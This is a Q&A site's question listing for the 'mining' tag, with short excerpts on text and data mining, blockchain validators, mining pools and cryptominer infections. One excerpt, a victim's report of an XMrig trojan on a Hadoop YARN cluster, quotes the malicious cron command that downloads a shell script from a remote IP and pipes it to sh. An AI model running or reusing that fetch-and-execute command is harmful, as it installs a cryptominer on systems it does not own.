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Questions tagged [mining]

235 questions
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Find out the number of Validators of a transaction if I have its transaction hash

I want to find out how many validators have validated my transaction. My transaction hash is: 0x051430dc5cd84c44954e43b25f8709c9c1a1c634f384ec6dd7610f6f945732e1 Can anyone tell me how many validators validated my transaction in Ethereum blockchain?
Ashadipta
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sas generate all possible miss spelling

Does any one know how to generate the possible misspelling ? Example : unemployment - uemployment - onemploymnet -- etc.
iamjeannie
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Issues tokenizing text

Started text analysing, and eventually ran into a need for downloading Corpora in using PyCharm2019 as IDE. Not really sure what traceback message wants me to do, since I used PyCharm's own lib import interface to enable Corpora already. Why does an…
Projectfreak
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Check with JavaScript that JSEcoin mining is online or not?

I embedded JSECoin's browser mining script to my website. It's a javascript based cryptocurrency miner script, that runs only on 100%, if the browser tab is in focus, and it doesn't eats the CPU, so it's much friendlier than other scripts. At the…
DevinPHP
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Text mining in R, reading every row for a yes/no answer

I've been trying to figure out a way of using R on how to extract from a CSV file that was created using the RISmed package from PubMed certain terms, for example latino in a way that would create a new variable "Latino" read the whole row and…
Manny Ma
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How to extract specific intervals of the dataset?

I have a big dataset (More than 200 thousand lines and a thousand of trials) with four columns with follow information: "Trials": a sequential number) "Is.Check": a column with 1 for checks and 0 for non-checks "ID": a column with the name of the…
Andrei Zdziarski
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Is it a good practice to incur Spark show() method in production Spark job?

Using DataFrame.show() API, we can take a glance about the underlying data. Is it good to use this method in production spark job? Basically, I know we can comment this kind of code before launching the job, but if we just keep it, is it a good…
Shu
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Combine lists of strings of different lengths to a data frame

I have a text data that need correcting of English mistakes. I want an output of a table, first column are the mistakes, and all suggestions for correction in the second column. For example: sentence <- "This is a word but thhis isn't and this onne…
Yeshyyy
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R text mining - remove special characters and quotes

I'm doing a text mining task in R. Tasks: 1) count sentences 2) identify and save quotes in a vector Problems : False full stops like "..." and periods in titles like "Mr." have to be dealt with. There's definitely quotes in the text body data, and…
Yeshyyy
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sustes command and wc.conf crypto mining hack

I have noticed this command running "sustes" and I'm having a hard time finding information about it. It seems to be a mining hack using servers to mine cryptocurrencies. wc.conf in the /var/tmp directory (and this conf references cryptonight algo…
Graphics Factory
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Data Mining and patterns recognition in CSV file (Python ML)

I am new to the world of ML and data mining and looking for the help and guidance to find unusual behavior on my log file. Assuming I have a cvs file which logs users sessions start time and end time and the policy numbers that they have worked on…
Behrangs
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Yarn is impacted with XMrig miner trojan

HDP stack yarn processor infected with XMrig trojan, even If I use the kylo ex2 sandbox, i get this trojan that take 100% of your CPU. yarn) CMD (wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1) This is a cron, run by the yarn…
Raja Marimuthu
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What database should I use for mining pool for blockchain?

I am creating a mining pool (blockchain thing). The thing is I decided to use the plugin https://github.com/zone117x/node-open-mining-portal which is written in node.js and using redis database for saving shares,payments and things like that. My…
Chemistry
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How to stream tweets using tweepy from a start date to end date using python?

I am currently in the process of doing some research using sentiment analysis on twitter data regarding a certain topic (isn't necessarily important to this question) using python, of which I am a beginner at. I understand the twitter streaming API…
Adam Davies
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How to calculate "order" in a Apriori Hashing Technique

I am new to Data Mining and is studying Apriory Algo (Hashing Technique to be specific). The explanation is fine but the example shows a hash function h(x, y)= ((order of x)*10 + (order of y)) mod 7. Can anybody tell what is this order in here? I am…
Paras Bassi
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